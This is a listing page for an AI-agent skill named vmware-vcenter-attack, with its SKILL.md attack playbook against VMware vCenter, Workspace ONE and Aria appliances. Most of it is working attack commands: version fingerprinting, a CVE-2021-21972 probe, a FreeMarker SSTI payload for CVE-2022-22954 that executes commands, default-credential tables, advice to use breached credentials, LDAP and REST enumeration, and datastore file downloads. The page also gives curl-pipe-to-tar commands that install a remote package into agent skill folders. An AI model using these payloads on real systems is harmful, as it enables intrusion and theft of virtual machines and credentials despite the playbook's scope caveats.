vmware-vcenter-attack – Security skill for AI agents
VMware vSphere / vCenter Server external attack matrix — version fingerprinting, the high-impact CVE chain (CVE-2021-21972 vRealize unauth file upload, CVE-2021-21985 vSAN plugin RCE, CVE-2022-22954 Workspace ONE SSTI, CVE-2023-20887 Aria RCE, CVE-2024-37085 ESXi AD bypass, CVE-2023-34048 vCenter DCERPC OOB write APT-e
Install the vmware-vcenter-attack skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/vmware-vcenter-attack-8b995.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /vmware-vcenter-attack – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/vmware-vcenter-attack-8b995.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $vmware-vcenter-attack – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/vmware-vcenter-attack-8b995.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /vmware-vcenter-attack – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/vmware-vcenter-attack-8b995.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /vmware-vcenter-attack – then describe the task you want done.
SKILL.md content
When to use
Trigger when external recon shows ANY of:
- Banner: "VMware vCenter Server", "VMware vSphere Client"
- URL paths:
/ui,/ui/login,/websso/SAML2/Metadata,/sdk,/mob(Managed Object Browser) - TLS cert SAN includes
vcenter/vsphere/vcsa/psc/vmware - Workspace ONE Access / Identity Manager:
/SAAS,/SAAS/auth,/SAAS/login,/SAAS/horizon - VMware Aria / vRealize:
/vco,/vco-controlcenter,/orchestrator,/lcm/api/v1 - Horizon View:
/portal,/admin
Do NOT use for:
- Internal-network vCenter (out of scope — external boundary discipline)
- Pure ESXi hypervisor exposed without management plane (rare on internet; flag as separate finding)
---
Step 1 — Version fingerprinting
TARGET="vcenter.target.com"
# Build info endpoint (often public; revealing exact patch level)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/sdk/vimServiceVersions.xml"
# UI build (visible in page source)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/ui/login" | grep -oE 'build[^"]{0,40}'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/ui/" | grep -oE 'vsphere[^"]{0,40}'
# REST API version (vSphere 7+)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/api/appliance/system/version"
# Cert metadata
echo | openssl s_client -connect "$TARGET:443" -servername "$TARGET" 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"
# SSO Admin Service (info disclosure)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local"Map build → version → CVE applicability via VMware advisories (vmware.com/security/advisories).
---
Step 2 — CVE matrix (external-exploitable, sorted by historical impact)
| CVE | Affected | Vector | Status |
|---|---|---|---|
| CVE-2024-37085 | ESXi 7.0/8.0 < specific patch | AD group "ESX Admins" auto-admin bypass | High — Domain takeover→ESXi RCE, exploited in ransomware ops |
| CVE-2024-22273 | ESXi/Workstation/Fusion/vCenter storage controller | OOB read/write — requires VM-local access (NOT a pre-auth network SSRF; see Section 9) | Important (CVSS 8.1), not external pre-auth |
| CVE-2024-22252/53 | Workstation/Fusion (not vCenter) | Sandbox escape | Not external |
| CVE-2023-34048 | vCenter 7/8 < specific build | DCE/RPC pre-auth heap OOB write → RCE | Critical, patched 2023-10 |
| CVE-2023-20887 | Aria Operations for Networks | Pre-auth command injection → RCE | Critical |
| CVE-2023-20892 | vCenter 7/8 | Use-after-free in DCE/RPC | High |
| CVE-2022-31656/31659 | Workspace ONE Access 21.x | Pre-auth SSRF + auth bypass | Critical chained |
| CVE-2022-22954 | Workspace ONE Access | Pre-auth server-side template injection (SSTI) → RCE | Critical, widely exploited |
| CVE-2021-22005 | vCenter 6.7/7.0 < build | Analytics service pre-auth file upload → RCE | Critical |
| CVE-2021-21985 | vCenter 6.5/6.7/7.0 < build | vSAN Health Check plugin pre-auth RCE | Critical |
| CVE-2021-21972 | vCenter 6.5/6.7/7.0 < build | vRealize plugin /ui/vropspluginui/rest/services/uploadova pre-auth file upload → RCE | Critical, exploited heavily |
| CVE-2020-3992 | ESXi OpenSLP | Pre-auth use-after-free → RCE | Critical, ESXi ransomware vector |
| CVE-2019-5544 | ESXi OpenSLP | Pre-auth heap overflow | Critical |
---
Step 3 — CVE-2021-21972 probe (still common on stale appliances)
# Detection only — DO NOT execute the file upload without explicit scope OK
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}\n" \
"https://$TARGET/ui/vropspluginui/rest/services/uploadova"
# 405 → endpoint exists, version vulnerable
# 404 → patched (endpoint removed)
# 401 → patched (auth required)
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}\n" \
"https://$TARGET/ui/vropspluginui/rest/services/getstatus"Public PoC by Mikhail Klyuchnikov exists; do not execute against client infra without explicit RCE-attempt sign-off.
---
Step 4 — CVE-2022-22954 (Workspace ONE SSTI) probe
# Stage A — detection only: reachability + baseline. No command execution yet.
curl --max-time 30 --connect-timeout 10 -sk -o /tmp/wone_baseline.txt -w "%{http_code}\n" \
"https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=probe"
# 4xx with FreeMarker/catalog-portal error template → endpoint present, candidate vulnerable.
# 404 → patched/removed. Keep the baseline body to diff against Stage B.
# Stage B — execution (ONLY with explicit RCE-attempt sign-off): emit a unique canary
# so a coincidental WAF/error page containing "uid=" cannot be mistaken for real output.
CANARY="VCTR$(head -c8 /dev/urandom | od -An -tx1 | tr -d ' \n')"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=\${\"freemarker.template.utility.Execution\"?new()(\"echo ${CANARY}; id\")}"
# Confirmed RCE ONLY if the response contains the exact $CANARY echoed back AND "uid=" output
# that is absent from /tmp/wone_baseline.txt (in-band command output, body-diff against baseline).Confirmed RCE requires the unique $CANARY reflected in-band plus uid= output not present in the Stage-A baseline → critical. Stop and report. A bare uid= with no canary echo is NOT confirmation.
---
Step 5 — Default credentials (frequently still valid on lab/staging vCenters)
| Product | Default user | Default password |
|---|---|---|
| vCenter 6.x | [email protected] | <set-during-install> |
| vCenter Appliance root | root | vmware (legacy) or <set> |
| ESXi root | root | <blank> or vmware |
| vCenter Server Appliance Mgmt (5480) | root | <set-during-install> |
| Aria Operations | admin | vmware (legacy) |
| Workspace ONE | admin | <set> |
⚠ Do not spray vCenter — [email protected] has VERY low lockout threshold (often 3 attempts → 60s lockout, configurable to permanent). One attempt with high-confidence guess only. Use creds discovered in breach corpora.
---
Step 6 — SSO / vmdir LDAP enumeration
# SSO Admin endpoint (frequently exposes domain info)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local" | xmllint --format -
# Extract Identity Source info
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"
# Try anonymous LDAP bind to vmdir (port 389/636 if exposed)
ldapsearch -x -H "ldap://$TARGET:389" -b "" -s base
ldapsearch -x -H "ldap://$TARGET:389" -b "cn=Configuration,cn=vmware,cn=cis,dc=vsphere,dc=local"---
Step 7 — Managed Object Browser (MOB) — frequently leaks data
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET/mob"
# 401 → auth required (good for the defender)
# 200 → MOB exposed → can browse VMs, hosts, datastores, sessions without credentials in some misconfigs
# Auth'd MOB lets you walk the entire vSphere tree:
curl --max-time 30 --connect-timeout 10 -sk -u '[email protected]:<pw>' "https://$TARGET/mob/?moid=ServiceInstance&doPath=content"---
Step 8 — vSphere REST API enumeration (post-cred)
# Get session token
curl --max-time 30 --connect-timeout 10 -sk -X POST -u '[email protected]:<pw>' "https://$TARGET/api/session"
# Returns: "<session-token>"
# List VMs
curl --max-time 30 --connect-timeout 10 -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/vm"
# List hosts
curl --max-time 30 --connect-timeout 10 -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/host"
# List datastores
curl --max-time 30 --connect-timeout 10 -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/datastore"
# Datastore file download (HUGE — VMDK files, snapshots, credentials in cloud-init)
# /folder/<path>?dsName=<ds>&dcPath=<dc>
curl --max-time 30 --connect-timeout 10 -sk -H "vmware-api-session-id: <token>" "https://$TARGET/folder?dsName=datastore1&dcPath=Datacenter"---
Step 9 — Workspace ONE Access specific paths
# Metadata
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/SAAS/auth/saml/response"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/SAAS/auth/wsfed/services/idp"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/SAAS/jersey/manager/api/health"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/catalog-portal/services/airwatch/identifiers"
# Login page
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/SAAS/login/0"---
Step 10 — Aria / vRealize specific paths
# vRealize Operations Manager
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/suite-api/api/versions"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/casa/nodes/thumbprints"
# Aria Automation
curl --max-time 30 --connect-ti… (full content is in the download package)
Related skills
- web-enumeration – Sensitive file scanning, path traversal bypass, vHost enum, .env extract, log mining…
- sherlock – Find accounts for a username across 400+ platforms.
- dependency-management-deps-audit – You are a dependency security expert specializing in vulnerability scanning, license…
- dependency-scanning – Scan package dependencies for known vulnerabilities using Snyk, Dependabot, and OWASP…
- web2-recon – Web2 recon pipeline — subdomain enumeration (subfinder, Chaos API, assetfinder), live…
- web3-audit – Smart contract security audit — 10 DeFi bug classes (accounting desync, access control…
- shap – Explain and audit machine-learning predictions with SHAP. Use for selecting SHAP…
- wordpress-plugin-hunt – Hunt WP plugins via REST, exploit CVEs when version known.